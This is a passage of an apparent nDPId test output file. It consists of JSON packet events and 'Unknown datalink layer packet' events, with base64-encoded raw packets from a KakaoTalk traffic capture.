packet","thread_id":0,"packet_id":2225,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00475{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2226,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069203,"pkt_ts_usec":382636,"pkt_caplen":125,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":125,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAG0AAEAAQBHaNQoYUrwByQGuKBxaBgBZONaAbDNUfrDng1SapdpQTovQzg7MoVsRHhmCkBxP2WKodZzRauSeNSR3CT7YXxEui990I9vvQOXFJ\/G+u4i11p\/\/hPFmUpO+N1UnuRynY2O2dAg="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2226,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00410{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2227,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069203,"pkt_ts_usec":383368,"pkt_caplen":80,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":80,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUAAEDykUAALwb+025MjzIKGFK8Iynl6dfwq08taZdhsBAAMO1XAAABAQgKRNwEHAAC1dcBAQUKLWmWpy1pl2E="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2227,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00446{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2228,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069203,"pkt_ts_usec":415534,"pkt_caplen":104,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":104,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFgAAEAAPxHbSgoYUrwByQGuLDhaBABEssmAbFDOi0GF2guGVRmURvDI1e8nqs+gDuLPjwfmyyGgofMI6SPx3mMpC1E8FDma9jwWB9F+lqF9m\/Y\/5EQ="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2228,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00453{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2229,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069203,"pkt_ts_usec":415686,"pkt_caplen":109,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":109,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAF0AAEAAPxHbRQoYUrwByQGuLDhaBABJKrqAbFDPi0GJmguGVRn5GiQFHhZlXflraczG8SfI4L41sdnFU50KZeNhpph\/U+pHy6YSoCi3GZviM6nmezDFkr6Xxw=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2229,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00583{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2230,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069203,"pkt_ts_usec":444586,"pkt_caplen":205,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":205,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAL0AAEAAHBH9vQHJAa4KGFK8WgYoHACpNUSAbFC0i0EkWguGVRmcGqMPotOb19I9YyWuFTj1EKiUsVlaucxjeuWGvM4L+G+XxDkR9y1\/afFNLKCcSXQ466XhRxfAZSZlcA22vH8xrYGjwuAFOu5GLt9lzwHqfcyE41cpbRoFOiAxLwFmn0FeyesMW3SvnUlHEBIRcXiCfB\/tuIJa5Z4SE2LxtaHb9q1oNonVItQYx\/v3kwZIoFyFA9lFLQ=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2230,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00557{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2231,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069203,"pkt_ts_usec":459296,"pkt_caplen":186,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":186,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAKoAAEAAHRH80AHJAa4KGFK8WgQsOACW4eyAbDM6frCGA1Sapdq6kkb5W1frha0IIlabPKoYYL1oH3RMR9qetPtYMuvad3c\/g+FLT\/d+Lj3a4To1FezfDgfC3JtXQkBbhqU3+IVTVsnUtTEFv0\/36ejhidNoFZCaBuNkvmZLOMwG3nR\/XM+SM0mcmteWwUTidIJix3rdjehEL\/Zo3isjgFz5LAiNH9z3"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2231,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00436{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2232,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069203,"pkt_ts_usec":465125,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFMAAEAAQBHaTwoYUrwByQGuKBxaBgA\/ARKAbDNVfrDrQ1SapdqjSl2Mn30Vm6LZDJev8IuiFTkgtwNwFw04KF\/bW4CI0QmAavoKNHMWFEqQ"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2232,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00566{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2233,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069203,"pkt_ts_usec":499304,"pkt_caplen":195,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":195,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoALMAAEAAHBH9xwHJAa4KGFK8WgYoHACfEAuAbFC1i0EoGguGVRmS3m8VxTNrSeMxAGvyxCSYpHzYoXhr+z3LIJzs0Kuw8gqK3jGK7Zqi6gP3g+Yq1k4r6iNp2Fbm6ViZCrzMj4M2Bo9NUoEyu9rt5qhje2svUsc4\/KVcpdUXQ2doqIgU2pxwK25y1t4eSFBunud\/+ChW3zuSQ2iwHnNS5zEqSzRF9mwdcCi3WFRxXJId"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2233,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00454{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2234,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069203,"pkt_ts_usec":509833,"pkt_caplen":109,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":109,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAF0AAEAAPxHbRQoYUrwByQGuLDhaBABJCb6AbFDQi0GNWguGVRndWc99cMdFPHDMB0LaQ3UNvogH13HeO1jdbYFVVasgri4\/pcT3R6PzyjH8FMXwmxteK\/DxbA=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2234,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00436{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2235,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069203,"pkt_ts_usec":523780,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFMAAEAAQBHaTwoYUrwByQGuKBxaBgA\/oZaAbDNWfrDvA1SapdqM7bbQqpTINxg4fsnk1PVn6V\/lFGrlEKjdEbns023xDnSDTXgmA73zakaC"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2235,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00545{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2236,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069203,"pkt_ts_usec":528693,"pkt_caplen":175,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":175,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAJ8AAEAAHBH92wHJAa4KGFK8WgYoHACLu\/eAbFC2i0Er2guGVRltx91TkdqvBoe\/7\/mk+7H+30zK0IVKAO1qfLU9PsZlTL+yaajuSD38sJoIMlmbOBr+ItI1hz5wr9KaYHHW5o0rrBJsqrffXeAetoFx06qkK67Dsrb40E3Q\/6Duns55tl\/EBD2dg7xjDyAfQ0jF9fYfv+y+QjxwBQ=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2236,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00558{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2237,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069203,"pkt_ts_usec":549109,"pkt_caplen":189,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":189,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAK0AAEAAHRH8zQHJAa4KGFK8WgQsOACZaO+AbDM7frCJw1SapdpN9xF+zHuPqsG4dPpxgMIQ5xaej8XWEVIZccyoZgLHAgx6loK\/SPHhb3xBKnbs3KRtXcbcp5T7EOtXAn5Y8i1gBSOqjjUxjHARODRpaAd8x3x9onWUoLVLMKgOIV8WPC76Pty90Fwo+ZTtS8X+PUexg7ywM68JU\/u7oetV5e5r35eztmls"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2237,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00555{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2238,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069203,"pkt_ts_usec":579383,"pkt_caplen":184,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":184,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAKgAAEAAHRH80gHJAa4KGFK8WgQsOACUZFOAbDM8frCNg1SapdrHzQ9+ObYN\/xyD3lwp7sF80xlZt\/zflzkveJADRWy90oLyXFMvushACDMCPUkVddmHLSiglHu0Qj9ohE\/SfBZax8kGbfFACNqh403oASOFmlo5ziLQ1POZwIt37cl5kTlSkJkfQBgXh8iGH4JMC4uANZfC6v+3VAR0c9FMZsxwbA=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2238,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00553{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2239,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069203,"pkt_ts_usec":599311,"pkt_caplen":185,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":185,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAKkAAEAAHRH80QHJAa4KGFK8WgQsOACVClGAbDM9frCRQ1Sapdr0VAwFHGWvqEdy4GQXGpa64FipYk1cKxeFn2ukAaIWT938XcyC2s4c2F9oo5sKuG01yY9dkjtQZviEmmBZXpn5\/QPK2yxe7il6eyydgsstjcOJMsC8VtVmhzfSEXEUqD3ae4fLhvr+a5orDpYhf29Izg4+rFGgZInyXqH2fj5J8t4="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2239,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00436{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2240,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069203,"pkt_ts_usec":603736,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFMAAEAAQBHaTwoYUrwByQGuKBxaBgA\/FseAbDNXfrDyw1SapdqCML9vTW0ilPwgC543b1Hv3\/hKJQdzWxS5PEURMitrXgXRI0UmaPBwyGJz"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2240,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00444{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2241,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069203,"pkt_ts_usec":609961,"pkt_caplen":105,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":105,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFkAAEAAPxHbSQoYUrwByQGuLDhaBABF5KmAbFDRi0GRGguGVRm9jgeDLwJvXh0j6B4GUa2yCEty0FdNLUrmKnIXBSfOjm+hq45CgYkQ4XsCYN+GhXFu"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2241,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00448{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2242,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069203,"pkt_ts_usec":610114,"pkt_caplen":106,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":106,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFoAAEAAPxHbSAoYUrwByQGuLDhaBABGp3qAbFDSi0GU2guGVRnlN9gdhliZQwFXKRepmNZcLgLqHWnWLpkrR5raWnx3IBaM5+b7llVyFRri3xAk6vUNMg=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2242,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00572{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2243,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069203,"pkt_ts_usec":645148,"pkt_caplen":200,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":200,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoALgAAEAAGxH+wgHJAa4KGFK8WgYoHACky5qAbFC3i0EvmguGVRlhOL6BWS2BljmOn50q6SdczKxI54BhTRlCI6iQJ9lF1nFAl3ayWYok0+0fgTgc2VB1jlDAOTz379yEO6ol8rh0E3J1ezDE2+77UqgcM1E8Wa6DUSYKk3qPyqy2arqU5O8lhSLRIEeBXE3rlzf8t33kKdl7fbiRN+7kfen2aEUVMCG4TVB49CIXNG6hxcDhr7Q="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2243,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00502{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2244,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069203,"pkt_ts_usec":648505,"pkt_caplen":147,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":147,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAIMAAEAAHRH89wHJAa4KGFK8WgQsOABvddyAbDM+frCVA1SapdolaqVThhLDkge5ljLZYdAkh\/dqWweVKUKSFOFAlOYIOXEB+OfE3o4nTIaOu9BFh9RGTr3JKO4IijkYopapSFV5HaRSwksIHOD8QyoRsbQE\/qr8Hsv4u7ZdFt8M"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2244,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00435{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2245,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069203,"pkt_ts_usec":659552,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFMAAEAAQBHaTwoYUrwByQGuKBxaBgA\/P+WAbDNYfrD2g1SapdrRL4hlROO9+UHeqBnJCxxA7wgJV0s95wkF+uv8FWK3kLpaIfhg8rN1Oq15"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2245,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00570{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2246,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069203,"pkt_ts_usec":679297,"pkt_caplen":196,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":196,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoALQAAEAAHBH9xgHJAa4KGFK8WgYoHACg4LSAbFC4i0EzWguGVRkuLpg5\/i61cLxMpQJPNXQR9FGI+gf7YWNGFGDbhz8EbgseAQWVGXCDWRhZhKxtivsdhCl5zCaeAvd7ysAUcXp165hO4udGme+3gvYxgWSWo8\/ZqaP33IpTFa17gNq6C+V81xTdym9ebj7bYUG7ynBeRi+9ybxqOPLjldaTPmraxi+yFX2kTVS7N13XLQ=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2246,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00437{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2247,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069203,"pkt_ts_usec":701270,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFMAAEAAQBHaTwoYUrwByQGuKBxaBgA\/8QOAbDNZfrD6Q1Sapdqfp5pq80BU\/z5A0JK0tOEhI2go\/7SdYqER+ULessrxp850WzxpkkyFQhpf"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2247,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00452{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2248,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069203,"pkt_ts_usec":714362,"pkt_caplen":110,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":110,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAF4AAEAAPxHbRAoYUrwByQGuLDhaBABKUpeAbFDTi0GYmguGVRkGC3m2JcEkSYvqxd8uGQqzdDZ5ATx0FAxfAsZNnIiMJT3gLUF+Q+IjFyCNuKdxf7B1oYl9+cQ="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2248,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00445{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2249,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069203,"pkt_ts_usec":714514,"pkt_caplen":103,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":103,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFcAAEAAPxHbSwoYUrwByQGuLDhaBABDvMmAbFDUi0GcWguGVRlu6oawy8wog3W3XBdmqvC999BEQkSkyXlKhOSLtmN4uRTl\/pWQ7TT3h2y8NOUYRQ=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2249,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00411{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2250,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069203,"pkt_ts_usec":743323,"pkt_caplen":80,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":80,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUAAECw6EAALwZAfW5MjzIKGFK8H5CAyJJ45\/v3EeEasBAAMqsOAAABAQgKRNwFZgALTiwBAQUK9xHgYPcR4Ro="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2250,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00577{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2251,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069203,"pkt_ts_usec":743933,"pkt_caplen":200,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":200,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoALgAAEAAHBH9wgHJAa4KGFK8WgYoHACkyjeAbFC5i0E3GguGVRmKAjaZGuV7ZH8gOKoHhlmGtNMgUeM4nu83mDA5JBqKXA8LTdQJgkPZdkJPEURugcRPDo2cA4e+1bFyQQmYmF\/J+\/LKou1xAC+2ZjVOH2U6TdyIo4p+Dd+YF1gelZ4fH2o65jCJsRl7YK1oOiWju+fKy\/ycrzkH8R1A3ha96wM\/jhvTSY0Nec5vV+WbaKNG\/j0="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2251,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00435{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2252,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069203,"pkt_ts_usec":745093,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFMAAEAAQBHaTwoYUrwByQGuKBxaBgA\/v7aAbDNafrD+A1SapdqGZqWGAvrcsRwPHnKlZaZCk4o6vjKEaagQatuqqMg2dx3tOK1Y9Qw4sgb9"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2252,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00475{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2253,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069203,"pkt_ts_usec":768592,"pkt_caplen":125,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":125,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAG0AAEAAHRH9DQHJAa4KGFK8WgQsOABZW5+AbDM\/frCYw1Sapdrmu\/sNTr1k060srer8gHGlV86C6jZJhD6XIBbdmyDdsamywgrUzMpW8avxUbkMVLjHhBzPPQ\/HPBz3OOigPmowN4FJxBc="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2253,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00534{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2254,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069203,"pkt_ts_usec":779273,"pkt_caplen":170,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":170,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAJoAAEAAHBH94AHJAa4KGFK8WgYoHACGBNCAbFC6i0E62guGVRmD8flTQh955vAs2ScfhybleEmKJp6t7AEVWuv\/j5cBsdOBeqJ6ky0wBvJ24cfwpqcYGe1qpCWR8GCeDKOKlQUHF5l6ANW6xNP1bYDT81CIY7bDGdfSx4r8qimqhVRzI5k7X4qKaFTMGQ5\/lX2RNsQpjzo="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2254,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00526{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2255,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069203,"pkt_ts_usec":799353,"pkt_caplen":164,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":164,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAJQAAEAAHBH95gHJAa4KGFK8WgYoHACAS5uAbFC7i0E+mguGVRnY2hR+hdBNwuR+Lf6N+ToVR8p+jrE749RghNXmuFAIcAJRKWQ99Bq5mMIfF2qMDsBp4ZSn\/9r0esxNP6kCvjnOXIzWiBBFAX1rDkfyTMQloXq2R\/eXcjHr+kZCg7OTQkeITvfgW8FC+XDQPaI="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2255,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00446{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2256,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069203,"pkt_ts_usec":808783,"pkt_caplen":105,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":105,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFkAAEAAPxHbSQoYUrwByQGuLDhaBABFqIOAbFDVi0GgGguGVRmgyu176Qf37YheoYqc2uO8BSUgS\/F0RLCL4hPF+5ClX3xaYhs80u8BOJLmS\/sxLNcM"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2256,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00496{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2257,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069203,"pkt_ts_usec":827277,"pkt_caplen":141,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":141,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAH0AAEAAHRH8\/QHJAa4KGFK8WgQsOABpDgeAbDNAfrCcg1SapdrjRU+2Vj9uOOFqGO9+FGgn60\/8iR8NdvexoO2SC7OEqCvM3Ikj6SLjev1ILv7STYpPa6D19\/myN\/93AV77hYzGAgt47yeIbzDhjjiFICQtHzlEIxFk"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2257,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00436{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2258,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069203,"pkt_ts_usec":838477,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFMAAEAAQBHaTwoYUrwByQGuKBxaBgA\/lMCAbDNbfrEBw1SapdqvBDntR64Cef7IKWi9OfrZ9aTac+hwTehhwfrw\/YfmF9tFtGufYmdFCBVh"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2258,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} 